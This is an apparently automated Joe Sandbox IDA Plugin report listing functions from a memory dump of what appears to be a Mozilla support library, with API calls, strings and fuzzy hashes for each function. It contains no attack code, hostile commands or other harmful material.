Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 44f2d08c5d4b206057a943f5d7a0ec541883f3d8befd5126075b52ee8933cda8
Instruction ID: d4c929936a1e5eb6a4f8580f625b84d3eeb939be9663567a2f1b022d9647b4df
Opcode Fuzzy Hash: 44f2d08c5d4b206057a943f5d7a0ec541883f3d8befd5126075b52ee8933cda8
Instruction Fuzzy Hash: 2C41C1B1A002068FEB14CF68D88876E7BF6BF45308F148939D556EB741E732E904CBA1

Function 6CEFCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF7E784), ref: 6CEFCFF6
LeaveCriticalSection.KERNEL32(6CF7E784), ref: 6CEFD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CEFD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CEFD139

Strings

MOZ_CRASH(), xrefs: 6CEFD187

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 7e80df738003532b44742ebc68296d3d723d2896ea0076bcdb6b3ce4550af610
Instruction ID: de9316c828063f470ff4bf9e31c38c4e89ccff3247b023268080d70c71af762e
Opcode Fuzzy Hash: 7e80df738003532b44742ebc68296d3d723d2896ea0076bcdb6b3ce4550af610
Instruction Fuzzy Hash: F941E636F102264FDB45CF7C9C917AA3AB1EB49714F24013AE924E7784D7B55D028BE0

Function 6CEF4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CEF4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CEF4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEF4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CEF4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CEF4F1E

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: e85be2a8479c5c8d43da09d70257501104f98ac5a6b52d79b3fd63e11beb510a
Instruction ID: e62591d345635f26848e5610e96f7a805d5b3b1635e201afbb80cb1850fe4bfc
Opcode Fuzzy Hash: e85be2a8479c5c8d43da09d70257501104f98ac5a6b52d79b3fd63e11beb510a
Instruction Fuzzy Hash: 9F41D2726047059FD705CF29C88195BB7F4BF8A348F208A2EF4698B741D730E956CB91

Function 6CF0C150 Relevance: 7.6, APIs: 5, Instructions: 110stringtimeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF0C1BC
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CF0C1DC

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_strlen
String ID:
API String ID: 1885715127-0
Opcode ID: 3ce5964c005f44e49587897a7530cb5a73c3296b5092638dd257d276a5c2d463
Instruction ID: e41b4e219a914f046f273c9eb9e2dc0ee5ae0e9ae722a753bb5d3ab938b155b8
Opcode Fuzzy Hash: 3ce5964c005f44e49587897a7530cb5a73c3296b5092638dd257d276a5c2d463
Instruction Fuzzy Hash: 2A41C4B1D187508FD710DF64D48078ABBF4AF96708F51855EE8885BB12E730D948CBA3

Function 6CF5A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF7F770), ref: 6CF5A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF5A87B

Part of subcall function 6CF5A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6CF5A88F,00000000), ref: 6CF5A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6CF5A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF5A90C
LeaveCriticalSection.KERNEL32(6CF7F770), ref: 6CF5A97E

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 2cd37b15b82abb0712e42724642f45a28039f9680739563ed8dd1a00891ba44a
Instruction ID: 0add90e661efd179085a5b7f531f5224bae92870621afbe3c8700c52fae3a361
Opcode Fuzzy Hash: 2cd37b15b82abb0712e42724642f45a28039f9680739563ed8dd1a00891ba44a
Instruction Fuzzy Hash: 2A41B2F1E002048FDB00DFA4D845BEEB7B1FF09324F548629E82AAB781D7319955CBA1

Function 6CF01530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CF0152B,?,?,?,?,6CF01248,?), ref: 6CF0159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CF0152B,?,?,?,?,6CF01248,?), ref: 6CF015BC
moz_xmalloc.MOZGLUE(-00000001,?,6CF0152B,?,?,?,?,6CF01248,?), ref: 6CF015E7
free.MOZGLUE(?,?,?,?,?,?,6CF0152B,?,?,?,?,6CF01248,?), ref: 6CF01606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CF0152B,?,?,?,?,6CF01248,?), ref: 6CF01637

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: f56f32f4b068d48ebdfad949763f3e21fbb3cd054594da2718c6b8fafbb6ff10
Instruction ID: 099bf644f28cba564203463cb0f306fb62817c813c94db377e05337f6d15f1fe
Opcode Fuzzy Hash: f56f32f4b068d48ebdfad949763f3e21fbb3cd054594da2718c6b8fafbb6ff10
Instruction Fuzzy Hash: 5431D672B001148BCB188F78D86146F77B9BB817687284B2DE823DBBD4EB30D9049791

Function 6CF5AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CF6E330,?,6CF1C059), ref: 6CF5AD9D

Part of subcall function 6CF0CA10: malloc.MOZGLUE(?), ref: 6CF0CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CF6E330,?,6CF1C059), ref: 6CF5ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CF6E330,?,6CF1C059), ref: 6CF5AE01
GetLastError.KERNEL32(?,00000000,?,?,6CF6E330,?,6CF1C059), ref: 6CF5AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CF6E330,?,6CF1C059), ref: 6CF5AE3D

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: e9e22cf938b6c56a109609a2c962ca8278a3d0ee618777a48e8f7ff81ac3147c
Instruction ID: 5ff107d4d0c7a4c3da25734eb8f0f54ab8620290c301ab9cbd6dce5846c92384
Opcode Fuzzy Hash: e9e22cf938b6c56a109609a2c962ca8278a3d0ee618777a48e8f7ff81ac3147c
Instruction Fuzzy Hash: 383152B1A002159FDB50DF769C44ABBBBF8EF49614F554829E94AD7700E734E814CBB0

Function 6CF55EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CF6DCA0,?,?,?,6CF2E8B5,00000000), ref: 6CF55F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CF2E8B5,00000000), ref: 6CF55F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CF2E8B5,00000000), ref: 6CF55F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CF2E8B5,00000000), ref: 6CF55F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CF2E8B5,00000000), ref: 6CF55FD6

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 16d5ff762033bc865a2eed6b083c23a92db18e9ea04d7c5b78fa1a6c3937337b
Instruction ID: ccee4fee704b44f5e99fec4ac52863cc0968d1eda7fb897b96db80ea03c1b473
Opcode Fuzzy Hash: 16d5ff762033bc865a2eed6b083c23a92db18e9ea04d7c5b78fa1a6c3937337b
Instruction Fuzzy Hash: 303129347006008FD711CF29C898F2AB7F5BF9A318BA44968F6568BB95C732EC51CB90

Function 6CEFB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CEFB532
moz_xmalloc.MOZGLUE(?), ref: 6CEFB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CEFB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CEFB57E
free.MOZGLUE(00000000), ref: 6CEFB58F

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: a3800a4ea62f6a8f59018d30ba01f545015103c780a57ff19e557beb7e9fbd0d
Instruction ID: 7e9860088d410a94fe732de99b69da91b7b264315f3774f8f5de448159f795fa
Opcode Fuzzy Hash: a3800a4ea62f6a8f59018d30ba01f545015103c780a57ff19e557beb7e9fbd0d
Instruction Fuzzy Hash: 5E21D671E00205DBDF018F69DC50BAABBBAFF46318F284129E928DB341E775D912C7A1

Function 6CEFB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CEFB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CEFB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CEFB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEFB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEFB849

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: a1f11115752abcf6c49113229bf65bbc5111136de808ba00c28430c73082ad05
Instruction ID: 53a455603f3a54ca3d9f8c4dfbf2fee413136d5d9a9350ed23917f17667cba18
Opcode Fuzzy Hash: a1f11115752abcf6c49113229bf65bbc5111136de808ba00c28430c73082ad05
Instruction Fuzzy Hash: 19214DB1E002199FDF04DFA9D8856BEBBB4EF49314F148129EC15A7340E735A945CBA1

Function 6CF56E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CF56E78

Part of subcall function 6CF56A10: InitializeCriticalSection.KERNEL32(6CF7F618), ref: 6CF56A68
Part of subcall function 6CF56A10: GetCurrentProcess.KERNEL32 ref: 6CF56A7D
Part of subcall function 6CF56A10: GetCurrentProcess.KERNEL32 ref: 6CF56AA1
Part of subcall function 6CF56A10: EnterCriticalSection.KERNEL32(6CF7F618), ref: 6CF56AAE
Part of subcall function 6CF56A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CF56AE1
Part of subcall function 6CF56A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CF56B15
Part of subcall function 6CF56A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CF56B65
Part of subcall function 6CF56A10: LeaveCriticalSection.KERNEL32(6CF7F618,?,?), ref: 6CF56B83

MozFormatCodeAddress.MOZGLUE ref: 6CF56EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CF56EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CF56EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CF56EFF

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 1c94d3c9fef396daf42cfc353dd69c85c3b82fd2ee424b7ca202e9cf9ecb618a
Instruction ID: 287f250e09d133097d1559aba5e56d31631270ab88ed787e5bdefe687ff20f30
Opcode Fuzzy Hash: 1c94d3c9fef396daf42cfc353dd69c85c3b82fd2ee424b7ca202e9cf9ecb618a
Instruction Fuzzy Hash: 0521C171E0421A8FCB00CF69E884ADA77F4EF88308F044439F91997341EB309A598FA2

Function 6CF576C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CF576F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CF57705

Part of subcall function 6CF0CA10: malloc.MOZGLUE(?), ref: 6CF0CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CF57717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CF5778F,00000000,00000000,00000000,00000000), ref: 6CF57731
free.MOZGLUE(00000000), ref: 6CF57760

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: c91f7e04f5000ae4675a30b30c1d2d64555988b974b33c29f042a15a5840bd60
Instruction ID: 13f53878d2f8314846a0f7673904acef8f7eac7697d13bf5809d1906c705f4f4
Opcode Fuzzy Hash: c91f7e04f5000ae4675a30b30c1d2d64555988b974b33c29f042a15a5840bd60
Instruction Fuzzy Hash: 7311B6B1D143156FD710AFB6AC44BAB7EE8EF56754F044529F84897300E770985087F2

Function 6CF30D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CEF3DEF), ref: 6CF30D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CEF3DEF), ref: 6CF30D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CEF3DEF), ref: 6CF30DAF

Strings

<jemalloc>, xrefs: 6CF30D92, 6CF30DB9
: (malloc) Error in VirtualFree(), xrefs: 6CF30D97, 6CF30DBE

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 2f379501c518bc9f0994ad26042a9ba86d579d953c4e79f779862d980db352c2
Instruction ID: b09ea2ee7639ebe0c47d634cc99d2899c47c75aea8cde5d76869d7d3525951d8
Opcode Fuzzy Hash: 2f379501c518bc9f0994ad26042a9ba86d579d953c4e79f779862d980db352c2
Instruction Fuzzy Hash: DCF0B4223902B472E66213662C0AF9B76AD67C2F24F20903BF21CDE9C0DED0E4044AF5

Function 6CF55850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6CF5586C
CloseHandle.KERNEL32 ref: 6CF55878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CF55898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CF558C9
free.MOZGLUE(00000000), ref: 6CF558D3

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 5b2adb3d7c86219c8c90b9256c405b1a54708f3635b1f14c16d6d5231de2e60f
Instruction ID: a7cfad23afc34f88b73033cbf7e02763293223a2f96c26c27117cd548d3c9b4c
Opcode Fuzzy Hash: 5b2adb3d7c86219c8c90b9256c405b1a54708f3635b1f14c16d6d5231de2e60f
Instruction Fuzzy Hash: FF016272F241219BDFC2DF66F808B467BF8EB933297644535E51AC6610DB3198248FA1

Function 6CF47620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CF475C4,?), ref: 6CF4762B

Part of subcall function 6CF0CA10: malloc.MOZGLUE(?), ref: 6CF0CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CF474D7,6CF515FC,?,?,?), ref: 6CF47644
GetCurrentThreadId.KERNEL32 ref: 6CF4765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CF474D7,6CF515FC,?,?,?), ref: 6CF47663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CF474D7,6CF515FC,?,?,?), ref: 6CF47677

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: a68d01584e850e2a51e5cd0f83ca7e4c259309011e97b8638a73de2b55da65c0
Instruction ID: cf1ef702a6b70778d95a9ca1aaa7862c5076b9d9bc24c9b801d0d07f378db5cc
Opcode Fuzzy Hash: a68d01584e850e2a51e5cd0f83ca7e4c259309011e97b8638a73de2b55da65c0
Instruction Fuzzy Hash: 0AF0AF71E20756ABE7018F21D888BB6B778FFEB659F114316F90452601E7B0A5D08BE1

Function 6CF51700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CF51800

Part of subcall function 6CF2CBE8: GetCurrentProcess.KERNEL32(?,6CEF31A7), ref: 6CF2CBF1
Part of subcall function 6CF2CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CEF31A7), ref: 6CF2CBFA

Part of subcall function 6CEF4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CF33EBD,6CF33EBD,00000000), ref: 6CEF42A9

Strings

name, xrefs: 6CF51939
Details, xrefs: 6CF51925
{marker.name} - {marker.data.name}, xrefs: 6CF518C7

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 1e594c67072371fcd8571e311147518d120d4a22ba8cfc2bf2ba5223c1c9e728
Instruction ID: 48fc87ab3554cc5f7fc6149d7f3c767c3b12b530f156651a8966dd92ef2e5cc0
Opcode Fuzzy Hash: 1e594c67072371fcd8571e311147518d120d4a22ba8cfc2bf2ba5223c1c9e728
Instruction Fuzzy Hash: AC71D1B1E003069FDB04CF28E4547AABBB1FF45314F54466AD8154BB41D770EAA8CBE1

Function 6CF5B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CF5B0A6,6CF5B0A6,?,6CF5AF67,?,00000010,?,6CF5AF67,?,00000010,00000000,?,?,6CF5AB1F), ref: 6CF5B1F2
